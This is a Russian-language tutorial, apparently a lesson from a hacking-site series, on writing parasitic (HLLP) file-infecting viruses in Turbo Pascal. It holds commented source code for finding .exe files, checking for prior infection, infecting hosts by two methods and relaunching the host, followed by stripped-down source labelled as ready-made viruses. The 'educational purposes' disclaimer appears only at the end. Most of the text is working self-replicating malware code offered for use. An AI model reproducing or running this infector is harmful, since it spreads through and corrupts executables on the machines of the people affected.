В целом принципы работы HLLP вирей, как и остальных типов, я весьма, дотошно рассмотрел в уроке 2, но дабы не заставлять вас снова перечитывать ту статью, я приведу эти принципы заново. Не посчитайте это оффтопом, так как в целом статья будет весьма содержательной и эти мелкие повторения моих же слов, добавят ей читабельности, что очень важно для статьи, делающей упор на принцип.
[OFFTOP=http://xakep.su/7-fajjlovye-virusy-urok-2.html]
- HLLP (Parasitic) – Паразит… Заражение и запуск у этих вирей происходит в основном двумя способами:
1 способ. Заражение: Вирус копирует себя во временную папку с временным именем, далее копирует в конец того временного файла тело жертвы, а затем удаляет жертву а временный файл переименует в имя жертвы. Есть второй вариант этого заражение, он не требует временного файла, при нём выделяется два буфера – в первый считывается тело виря, а во второй – тело жертвы, а затем эти буферы с перезаписью пишутся в файл. Т.о. после заражения, файл выглядит примерно так:
1байт виря…..Последний (VirSize) байт виря, 1байт жертвы…... Последний байт жертвы.
Запуск: При запуске зараженного файла, ясен пень, запускается вирус, находит ещё жертвы, заражает их, а затем из себя извлекает тело жертвы во временный файл и запускает его. Так же можно запустить прогу непосредственно в память из себя, об этом будет в примерах рассказываться в других уроках. В вирусах на языках DOS возможно просто изменить свою прогу в режиме, пока она запущена и некоторые вири просто для запуска жекртвы удаляют себя из жертвы и запускают её, красивый способ, и он так же будет рассмотрен, как и все другие, со временем конечно.
2 способ. Заражение: Этот способ заражение красивее первого в том отношении, что не требуется создание временного файла при заражении, или выделение крупных буферов для тела жертвы. Способ заключается в том, что сначала у жертвы копируется кусок из начала в конец размером, как вирус, а затем на место первых VirSize байт жертвы пишется тело виря. Т.о. после заражения, файл выглядит примерно так:
1байт виря…..Последний (VirSize) байт виря, VirSize+1 байт жертвы…Последний байт жертвы, 1 байт жертвы… VirSize байт жертвы. (т.е. 3 фрагмента)
Запуск: С запуском в общем-то нет ни каких проблем, он делается теми же фишками, что и в первом способе, только с поправкой на то что тело жертвы необходимо восстановить, а именно сначала взять кусок из конца (1 фрагмент жертвы), а затем кусок идущий после виря (2 фрагмент жертвы)..
[/OFFTOP]
. Надеюсь, что-то из, выше сказанного, засело вам на корке мозга, так что предлагаю перейти к реализации.
. По накатанной схеме, думаю, стоит, опять определиться с основными функциональными моментами этого типа вирусов:
- Процедура поиска жертв (FindFile)
- Процедура проверки заражённости (CheckInfect)
- Процедура заражения жертв (Infect)
- Процедура запуска жертвы из себя (InRun)
Для начала напишем процедуру заражения первого и второго типа:
1 тип заражения – смещения жертвы в конец.
const
VirSize=2864;//Размер вируса
Procedure Infect(path : string);//Передаём процедуре путь к жертве
var
F1,F2 : file;//Файловые переменные
NR,NW : Word;//Переменные пересчёта
BufVir : array[1..VirSize] of Char;//Буфер для передачи виря в одном буфере
Buf : array[1..2048] of Char;//Буфер для передачи жертвы
begin
Assign(F1, ParamStr(0));//Ассоциируем F1 с путём к себе
Reset(F1, 1);//Открываем себя
Assign(F2, '$$$');//Ассоциируем F2 с путём к временному файлу
Rewrite(F2, 1);//Открываем с созданием временный файл
BlockRead(F1, BufVir, VirSize, NR);//Читаем себя в буфер
BlockWrite(F2, BufVir, NR);//Пишем себя в файл
Close(F1);//Закрываем себя
Assign(F1, path);//Ассоциируем F1 с путём к жертве
Reset(F1, 1);//Открываем жертву
repeat
BlockRead(F1, Buf, SizeOf(Buf), NR);
BlockWrite(F2, Buf, NR, NW);
until (NR = 0) or (NW <> NR);//Цикл копирования жертвы в конец временного файла
Close(F1);//Закрытие жертвы
Erase(F1);//Удаление жертвы
Close(F2);//Закрытие временного файла
Rename(F2,path);//Переименование временного файла в имя жертвы
end;
2 тип заражения – перенос из начала фрагмента жертвы в конец и перезапись начала телом вируса
const
VirSize=3072;//Размер вируса
Procedure Infect(path : string);// Передаём процедуре путь к жертве
var
F1,F2 : file;//Фйловые переменные
NR : Word;
BufVir : array[1..VirSize] of Char;//Буфер переноса фрагмента жертвы и тела вируса
begin
Assign(F1, path);//Ассоциируем переменную F1 с путём к жертве
Reset(F1, 1);//Открываем жертву
BlockRead(F1, BufVir, VirSize, NR);//Читаем VirSize байт жертвы в начале
seek(F1,FileSize(F1));//Переходим в конец жертвы
BlockWrite(F1, BufVir, NR);//Пишем буфер – жертва стала больше на VirSize
Assign(F2, ParamStr(0));//Ассоциируем F2 с путём к себе
Reset(F2, 1);//Открываем себя
BlockRead(F2, BufVir, VirSize, NR);//Читаем себя в буфер
seek(F1,0);//Переходим в начало жертвы
BlockWrite(F1, BufVir, NR);//Пишем себя с перезаписью в начало
Close(F1);//Закрываем жертву
Close(F2);//Закрываем себя
end;
. Я думаю, что все обратили внимания, что второй способ, значительно перспективней, т.к., он намного быстрей, т.к. не требуется создание временного файла, удаления жертвы и копирования большого тела жертвы. Необходимо, всего лишь перенести буфер размером VirSize два раза. Да и реализация, намного менее запутанная. В целом, считаю рациональным применять только этот метод заражения, но т.к. это теоретический обзор, то считаю нужным рассмотреть оба метода. Плавно переходим дальше…
. Процедура проверки заражённости файла, будет брать как бы сигнатуру своего файла и проверять её наличие в теле жертвы, если нет – заражаем, если есть – пропускаем (мы же не хотим испортить файл). Так, или примерно так будет выглядить функция проверки зараженности на Turbo Pascal эта функция единая для обоих типов HLLP вируса, этот метод в общем-то не самый простой, но весьма надёжный:
function CheckInfect(path : string):boolean;{Функции передаётся параметр – путь к файлу}
const
SignSize = 8;{Размер сигнатуры}
SignPos = 666;{Позиция начала сигнатуры}
type
Bufer = array [1..SignSize] of char;{Тип – буфера чтения сигнатуры}
var
b : boolean;{промежуточная переменная}
F1 : file;{файловая переменная для себя}
F2 : file;{файловая переменная для жертвы}
SignBuf : Bufer;{Буфер сигнатуры}
VictBuf : Bufer;{Буфер сигнатуры жертвы}
begin
Assign(F1, Paramstr(0));{Ассоциируем F1 с путём к себе}
Assign(F2, path);{Ассоциируем F2 с путем к жертве}
Reset(F1,1);{Открываем себя}
Reset(F2,1);{Открываем жертву}
seek(F1,SignPos);{Переходим в себе на позиция сигнатуры}
seek(F2,SignPos);{Переходим в жертве на позицию сигнатуры}
BlockRead(F1,SignBuf,SignSize);{Читаем сигнатуру в себе}
BlockRead(F2,VictBuf,SignSize);{Читаем сигнатуру в жертве}
if SignBuf<>VictBuf{если сигнатуры не равно то..}
then b:=true
else b:=false;
Close(F1);{Закрываем себя}
Close(F2);{Закрываем жертву}
CheckInfect:=b;{Значение функции равно результату проверки равенства сигнатур}
end;
. Как видите всё весьма просто.. Константы, размера и позиции сигнатуры, мы вибираем сами, это не очень критично – единственное ограничение – размер вируса (VirSize).
. Теперь обмозгуем процедуру, восстановления и запуска жертвы из себя. Что нам требуется?
- Проверить необходимость запуска – если вирус в чистом виде запуск не нужен.
- Исходя из типа заражения, восстановить жертву до рабочего состояния.
- Запустить жертву.
. Соответственно, для обоих типов исходя из второго пункта, требуемых задач, эти процедуры будут выглядить, по-разному.
. Процедура запуска жертвы (InRun) для типа заражения со смещением жертвы в конец (1 тип) будет в нашем тестовом зверьке выглядить так:
Procedure InRun;{Ппоцедура запуска жертвы – без параметров}
var
f : file;
NR : Word;
NW : Word;
tmp : file;
Buf : array [1..2048] of Char;
begin
Assign(f,Paramstr(0));{Ассоциируем F с путем к себе}
reset(f,1);{открываем себя}
if FileSize(f)>VirSize then{если размер себя больше VirSize то..}
begin
Assign(tmp,’$$$.exe’);{Ассоциируем tmp с путем к временному файлу}
rewrite(tmp,1);{открываем файл с созданием}
seek(f,VirSize);{переходим в себе на позицию начала жертвы}
repeat{Выполняем цикл переноса тела жертвы во временный файл}
BlockRead(F, Buf, SizeOf(Buf), NR);{читаем буфер}
BlockWrite(tmp, Buf, NR, NW);{пишем буфер}
until (NR = 0) or (NW <> NR);
Close(tmp);{закрываем tmp}
exec(‘$$$.exe’,'');{запускаем жертву}
Erase(tmp);{по завершению жертвой работы – удаляем tmp}
end;
Close(f);{закрываем себя}
end;
. Недостаток этого типа в его запуске так же на лицо – необходимость временного файла для извлечения тела жертвы. А, если например, черное ДОСовское окно вируса будет убито до завершения работы жертвы, то временный файл не будет удалён – печально, но есть же и второй тип, который намного веселей, переходим к нему.
. Процедура запуска жертвы для виря второго типа в моём нехитром исполнении имеет вид (слабонервным любителям виндячего программирования, строго запрещено юзать эту процедуру, т.к. по принципам винды поведение этой процедуры виглядит мягко говоря ужасающе):
Procedure InRun;{Процедура запуска жертвы – без параметров}
var
f : file;
NR : Word;
Buf : array [1..VirSize] of Char;
begin
Assign(f,Paramstr(0));{Ассоциируем F с путем к себе}
reset(f,1);{открываем себя}
if FileSize(f)>VirSize then{если размер себя больше VirSize то..}
begin
seek(f,FileSize(f)-VirSize);{переходим на VirSize-ный с конца байт – начало перенесённого фрагмента}
BlockRead(F, Buf, SizeOf(Buf), NR);{читаем весь фрагмент в буфер}
seek(f,0);{переходим в начало себя}
BlockWrite(F, Buf, NR);{в этом месте, каким-то чудесным образом, пишем в себя, то что было в конце – ужас!!!!}
seek(f,FileSize(f)-VirSize);{переходим обратно в конец}
TrunCate(f);{отрезаем в конце себя!!! Лишний кусок}
Close(f);{закрываем себя – стоит обратить внимание, что после закрытия файла вируса уже нету в жертве))) – он сделал харакири – но успел наплодить нехилое количество приплода}
exec(ParamStr(0),'');{Запускам… блин не могу смешно.. – себя!!!! Где можно, ещё такое встретить??}
end
else Close(f);{это место сработает если вирь запущен в чистом виде}
end;
Я думаю, что мало кого не заулыбал этот метод запуска жертвы)) В общем-то как уже стало ясно, второй тип HLLP после запуска зараженной проги находит жертвы, а после этого удаляет себя из той проги в которой жил и запускает её))) Весьма отчаяный ход..
Основная часть вирусов – а это поиск файлов и своевременный вызов процедур и функций вируса, в моём случае реализовано для обоих типов одинаково. Вот этот код:
var
sr:searchrec;{поисковая переменная}
begin
findfirst('*.exe',$39,sr);{поиск ехе с любыми атрибутами}
while doserror=0 do{поиск до появления ошибки}
begin
if CheckInfect(sr.name){Если файл не заражён то…}
then Infect(sr.name);{Заражаем}
findnext(sr);{Ищем следующий}
end;
InRun;{Запуск жертвы }
end.
. Ну в общем-то на этом я считаю разборку паскальных HLLP можно считать оконченной.. Ниже я приведу полностью готовые исходники описанных вирусов двух типов, разница между написанным выше будет в том, что здесь, я полностью оптимизировал переменные и типы, подобрал VirSize и устранил комментарии – если что-то не понятно смотрим коменты в статье..
Procedure InRun;
var
f : file;
NR : Word;
NW : Word;
tmp : file;
begin
Assign(f,Paramstr(0));
reset(f,1);
if FileSize(f)>VirSize then
begin
Assign(tmp,TmpName);
rewrite(tmp,1);
seek(f,VirSize);
repeat
BlockRead(F, Buf, SizeOf(Buf), NR);
BlockWrite(tmp, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
Close(tmp);
exec(TmpName,'');
Erase(tmp);
end;
Close(f);
end;
var
sr:searchrec;
begin
findfirst('*.exe',$39,sr);
while doserror=0 do
begin
if CheckInfect(sr.name)
then Infect(sr.name);
findnext(sr);
end;
InRun;
end.
Procedure InRun;
var
f : file;
NR : Word;
begin
Assign(f,Paramstr(0));
reset(f,1);
if FileSize(f)>VirSize then
begin
seek(f,FileSize(f)-VirSize);
BlockRead(F, BufVir, SizeOf(BufVir), NR);
seek(f,0);
BlockWrite(F, BufVir, NR);
seek(f,FileSize(f)-VirSize);
TrunCate(f);
Close(f);
exec(ParamStr(0),'');
end
else Close(f);
end;
var
sr:searchrec;
begin
findfirst('*.exe',$39,sr);
while doserror=0 do
begin
if CheckInfect(sr.name)
then Infect(sr.name);
findnext(sr);
end;
InRun;
end.
. Первый тип вышел в 100 строку и вес ехе-шника 4976 байта, а второй соответственно 90 строк и 4832 байта, в общем, даже по этим параметрам второй тип заражения лучше и качественней.. Поэтому вам решать какой вам применять, а лучше конечно же приходить к чему-то своему, и не забывать о том что всё написанное в этом и других моих уроках исключительно в учебных целях..